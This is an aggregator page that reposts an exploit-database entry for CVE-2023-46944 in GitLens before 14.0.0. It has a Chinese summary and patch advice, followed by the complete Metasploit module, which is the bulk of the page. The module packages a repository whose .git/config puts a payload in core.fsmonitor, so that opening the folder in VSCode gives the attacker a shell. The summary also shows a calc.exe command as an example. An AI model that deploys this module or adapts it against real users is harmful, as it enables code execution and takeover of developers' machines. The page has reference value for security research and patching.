The Exploit Database - CXSecurity.com 2024年07月05日
GitLens Git Local Configuration Execution
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

GitKraken GitLens 版本 14.0.0 之前存在一个安全漏洞,允许攻击者通过一个恶意配置的 Git 仓库执行任意代码。该漏洞利用了 GitLens 对本地 Git 配置文件的信任,攻击者可以创建一个包含恶意配置的 .git 文件夹,并在其中设置一个恶意配置,从而在用户打开该仓库时执行任意代码。

😈 该漏洞允许攻击者通过一个恶意配置的 Git 仓库执行任意代码。 攻击者可以创建一个包含恶意配置的 .git 文件夹,并在其中设置一个恶意配置,从而在用户打开该仓库时执行任意代码。 例如,攻击者可以创建一个名为 .git/config 的文件,并在其中包含一个恶意命令,例如 `exec "cmd.exe /c calc.exe"`,当用户打开该仓库时,GitLens 会加载该配置并执行该命令,从而在用户的计算机上运行计算器。

😇 该漏洞影响了 GitLens 版本 14.0.0 之前的所有版本。 为了修复该漏洞,GitLens 开发团队发布了 14.0.0 版本,该版本修复了对本地 Git 配置文件的信任问题。 建议所有 GitLens 用户尽快升级到最新版本。

😔 该漏洞利用了 GitLens 对本地 Git 配置文件的信任,攻击者可以创建一个包含恶意配置的 .git 文件夹,并在其中设置一个恶意配置,从而在用户打开该仓库时执行任意代码。 为了防止该漏洞被利用,建议用户不要打开来自不可信来源的 Git 仓库。 此外,用户还可以使用一些安全工具,例如代码审计工具,来检测恶意代码。

🙏 该漏洞的发现者 Paul Gerste 在 Sonarsource 博客中发布了该漏洞的详细分析和 PoC,并建议用户尽快升级到最新版本。 Sonarsource 博客文章:https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/

This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::FILEFORMATdef initialize(info = {})super(update_info(info,'Name' => 'GitLens Git Local Configuration Exec','Description' => %q{GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute gitcommands. A repo may include its own .git folder including a malicious config file toexecute arbitrary code.Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10},'License' => MSF_LICENSE,'Author' => ['h00die', # Metasploit module'Paul Gerste', # Original advisory and PoC],'References' => [['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'],['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch['CVE', '2023-46944']],'DefaultOptions' => {'EXITFUNC' => 'thread','DisablePayloadHandler' => false,'FILENAME' => 'repo.zip','WfsDelay' => 3_600 # 1hr},'Arch' => ARCH_CMD,'Targets' => [['Linux/Unix (In-Memory)',{'Platform' => [ 'unix', 'linux' ],'Type' => :unix_cmd},],# There may be a size limit, but using fetch payloads works great['PowerShell (In-Memory)',{'Platform' => 'win','Payload' => {'BadChars' => '"&'}}],],'Notes' => {'Stability' => [CRASH_SAFE],'Reliability' => [REPEATABLE_SESSION],'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away},'Privileged' => false,'DisclosureDate' => '2023-11-14'))register_options([OptString.new('README', [true, 'The contents of the readme markdown file', '# Test'])])enddef readmedatastore['README'].to_senddef git_head'ref: refs/heads/master'enddef git_config%([core]repositoryformatversion = 0filemode = truebare = falselogallrefupdates = truefsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on <space><int, 0><space><a long number>. so this avoids corrupting the payloadenddef exploit# Create malicious zip archive containing our git repofiles =[{ data: readme, fname: 'README.md' },{ data: git_config, fname: '.git/config' },{ data: git_head, fname: '.git/HEAD' },{ data: '', fname: '.git/objects/info/' },{ data: '', fname: '.git/objects/pack/' },{ data: '', fname: '.git/refs/heads/' },{ data: '', fname: '.git/refs/tags/' },]zip = Msf::Util::EXE.to_zip(files)file_create(zip)print_status('Waiting for shell')endend

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

GitLens 代码执行漏洞 安全漏洞
相关文章